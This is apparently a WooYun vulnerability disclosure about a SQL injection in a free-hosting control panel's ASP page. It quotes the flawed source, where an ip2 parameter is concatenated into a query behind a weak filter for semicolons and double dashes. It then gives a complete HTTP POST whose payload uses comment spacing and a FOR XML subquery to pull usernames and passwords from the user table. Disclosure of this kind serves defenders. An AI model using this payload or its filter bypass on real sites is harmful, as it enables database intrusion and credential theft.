WooYun.org

<%
If session("SqlAUID")="" Then
	ef=True
	ec="授权非法，有可能是超时造成的。"
ElseIf Request("id")="" Then
	ef=True
	ec="请输入产品ID！"
ElseIf Instr(1, Request("id"), "'", 1)>0 then
	ef=True
	ec="非法产品ID！"
ElseIf not IsNumeric(Request("id"))  Then
	ef=True
	ec="产品ID应该是数字！"
ElseIf Instr(1, session("username"), "'", 1)>0 then
	ef=True
	ec="非法用户名！"
end if
if not ef then
Set conn=Server.CreateObject("ADODB.Connection")
	conn.Open Application("FreeHostDBlink")
	Set dsph = Server.CreateObject("ADODB.Recordset")	
	Sql="Select * from FreeHost.FreeHost_Product_Sql where id='"&session("SqlAUID")&"'"
			if Instr(1,sql, ";", 1)>0 or Instr(1,sql, "--", 1)>0 then
Response.Write "非法字符！"
Response.End
end if
	dsph.Open Sql,conn,1,3
if dsph.Eof then
	ef=True
	ec="不存在的库ID！"
end if
end if
……
……
for iipsec=1 to 2
'response.write dsph("ip"&iipsec)&iipsec&"<br>"
if not isnull(dsph("ip"&iipsec)) then
	Set dsphip = Server.CreateObject("ADODB.Recordset")	
	Sql="Select * from FreeHost.FreeHost_Product_Sql where (ip1='"&dsph("ip"&iipsec)&"' or ip2='"&Request("ip"&iipsec)&"') and id<>'"&dsph ("id")&"'"
			if Instr(1,sql, ";", 1)>0 or Instr(1,sql, "--", 1)>0 then
Response.Write "非法字符！"
Response.End
end if
	dsphip.Open Sql,conn,1,3
if dsphip.Eof then

Sql="Select * from FreeHost.FreeHost_Product_Sql where (ip1='"&dsph("ip"&iipsec)&"' or ip2='"&Request("ip"&iipsec)&"') and id<>'"&dsph ("id")&"'"

Request(ip1)
Request(ip1)

if not isnull(dsph("ip"&iipsec)) then

POST /sqladm/cleardb2.asp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/sqladm/cleardb.asp?id=887
Cookie: ASPSESSIONIDAABRQBQA=IEOJAHKBFLGOIKHEPHMACNCB; Hm_lvt_23f149cf9f1c205b13c96c4a43146e0b=1458834688; Hm_lpvt_23f149cf9f1c205b13c96c4a43146e0b=1458835916
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
openX=%C2%ED%C9%CF%D6%B4%D0%D0%A3%AC%B2%BB%BF%C9%BB%D6%B8%B4&id=887&ip2=1')/**/and/**/(select/**/substring((select/**/username,password/**/from/**/FreeHost_USER/**/for/**/xml/**/auto),1,4000))=0/**/and('1'='1

http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp
http://**.**.**.**/sqladm/cleardb2.asp